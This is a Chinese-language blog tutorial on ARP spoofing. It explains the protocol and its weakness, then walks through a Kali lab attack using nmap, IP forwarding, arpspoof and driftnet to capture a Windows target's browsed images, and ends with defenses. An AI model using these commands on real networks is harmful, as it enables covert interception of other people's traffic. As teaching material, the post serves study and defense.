【kali】中间人攻击-arp欺骗

本文深入解析了ARP协议的工作原理及其在局域网通信中的关键作用,详细阐述了ARP欺骗的实现机制,包括双向欺骗和单向欺骗,并提供了具体的攻击实例与防御策略。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

ARP协议

ARP(Address Resolution Protocol)地址转换协议,工作在OSI模型的数据链路层,在以太网中,网络设备之间互相通信是用MAC地址而不是IP地址,ARP协议就是用来把IP地址转换为MAC地址的。而RARP和ARP相反,它是反向地址转换协议,把MAC地址转换为IP地址。

ARP欺骗原理

在每台主机中都有ARP缓存表,缓存表中记录了IP地址与MAC地址的对应关系,而局域网数据传输依靠的是MAC地址(网络设备之间互相通信是用MAC地址而不是IP地址)。

双向欺骗原理

假设主机 A 192.168.1.2,B 192.168.1.3,C 192.168.1.4; 网关 G 192.168.1.1; 在同一局域网,主机A和B通过网关G相互通信,就好比A和B两个人写信,由邮递员G送信,C永远都不会知道A和B之间说了些什么话。但是并不是想象中的那么安全,在ARP缓存表机制存在一个缺陷,就是当请求主机收到ARP应答包后,不会去验证自己是否向对方主机发送过ARP请求包,就直接把这个返回包中的IP地址与MAC地址的对应关系保存进ARP缓存表中,如果原有相同IP对应关系,则原有的会被替换。
这样C就有了偷听A和B的谈话的可能,继续思考上面的例子:
C假扮邮递员,首先要告诉A说:“我就是邮递员” (C主机向A发送构造好的返回包,源IP为G 192.168.1.1,源MAC为C自己的MAC地址),愚蠢的A很轻易的相信了,直接把“C是邮递员”这个信息记在了脑子里;

C再假扮A,告诉邮递员:“我就是A” (C向网关G发送构造好的返回包,源IP为A 192.168.1.2,源MAC地址为自己的MAC地址),智商捉急的邮递员想都没想就相信了,以后就把B的来信送给了C,C当然就可以知道A和B之间聊了些什么

单向欺骗原理

C只向A发送一个返回包,告诉A:G 192.168.1.1 的MAC地址为 5c-63-bf-79-1d-fa(一个错误的MAC地址,C的MAC地址),A把这个信息记录在了缓存表中,而G的缓存表不变,也就是说,A把数据包给了C,而G的包还是给A,这样就是ARP单向欺骗了。

arp欺骗获取图片

arp欺骗

目标主机 windows10 ,ip地址:192.168.227.135
攻击机:kali ,ip地址:192。168.227.137
1,目标主机arp缓存表
在这里插入图片描述
2,查找目标ip

nmap -sP 192.168.227.*

在这里插入图片描述
3,开启ip转发
再进行arp欺骗之前必须要开启IP转发,否则当欺骗成功之后,目标机会断网,这样会被对方察觉。输出1,说明已经成功开启IP转发

sysctl -w net.ipv4.ip_forward=1 或者 echo 1 > /proc/sys/net/ipv4/ip_forward

在这里插入图片描述
4,使用 arpspoof工具 向目标192.168.227.135发送返回包
包内内容:
ip网关:192.168.227.2
MAC地址:00:0c:29:19:86:7f
在这里插入图片描述

 arpspoof - 截获交换局域网中的数据包

    用法
           arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host

    描述
           arpspoof通过伪造的ARP响应包改变局域网中从目标主机(或所有主机)到另一个主机(host)的数据包转发路径。这是交换局域网中嗅探网络流量的一种极为有效的方法。
           内核IP转发(或如fragrouter这样的、用户层面的、能完成同样功能的软件)必须提前开启。

    参数
           -i interface
                  指定要使用的接口(即指定一块网卡)

           -c own|host|both
                  指定在恢复ARP配置时使用的硬件地址;当在清理(cleaning up)时,数据包的源地址可以用自己的也可以用主机(host)的硬件地址。
                  使用伪造的硬件地址可能导致某些配置下的交换网络、AP网络或桥接网络通信中断,然而它比起默认值————使用自己的硬件地址要工作地更为可靠。

           -t target
                  指定一个特殊的、将被ARP毒化的主机(如果没有指定,则认为是局域网中所有主机)。重复可以指定多个主机。

           -r     毒化两个主机(目标和主机(host))以捕获两个方向的网络流量。(仅仅在和-t参数一起使用时有效)

           host   host是你想要截获数据包的主机 (通常是网关)。
arpspoof -i eth0 -t 192.168.227.135 192.168.227.2

在这里插入图片描述
5,再来看目标主机ARP缓存
在这里插入图片描述
变成了攻击机的MAC地址,说明已经欺骗成功

截取图片

运行driftnet截取被攻击机正在浏览的网页的图片

driftnet -i eth0

在这里插入图片描述
因为被攻击机器还没上网所以最上边的终端窗口只有输入的命令,右上的driftnet窗口黑乎乎一片什么都没有
接着我用被攻击的机器上网,测试效果

在这里插入图片描述
在这里插入图片描述
成功获取到图片

ARP欺骗攻击的防御

-ARP双向绑定

在pc端上 IP+mac 绑定

在网络设备(交换路由)上 采用ip+mac+端口绑定

网关也进行IP和mac的静态绑定

-采用支持ARP过滤的防火墙

-建立DHCP服务器

ARP攻击一般先攻击网关,将DHCP服务器建立在网关上

-划分安全区域

ARP广播包是不能跨子网或网段传播的,网段可以隔离广播包。VLAN就是一个逻辑广播域,通过VLAN技术可以在局域网中创建多个子网,就在局域网中隔离了广播。。缩小感染范围。 但是,安全域划分太细会使局域网的管理和资源共享不方便。

对于个人来说,在局域网内遭ARP攻击,还能咋办,除了装ARP防火墙,用代理,我也没辙。

不过最好的办法就是用arp –a命令查看一下arp缓存表,看谁在攻击你,打电话给网管,让网管灭了它。

参考文章

https://baike.baidu.com/item/ARP%E6%AC%BA%E9%AA%97
https://www.cnblogs.com/LittleHann/p/3735816.html
https://blog.youkuaiyun.com/china_jeffery/article/details/78689582

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值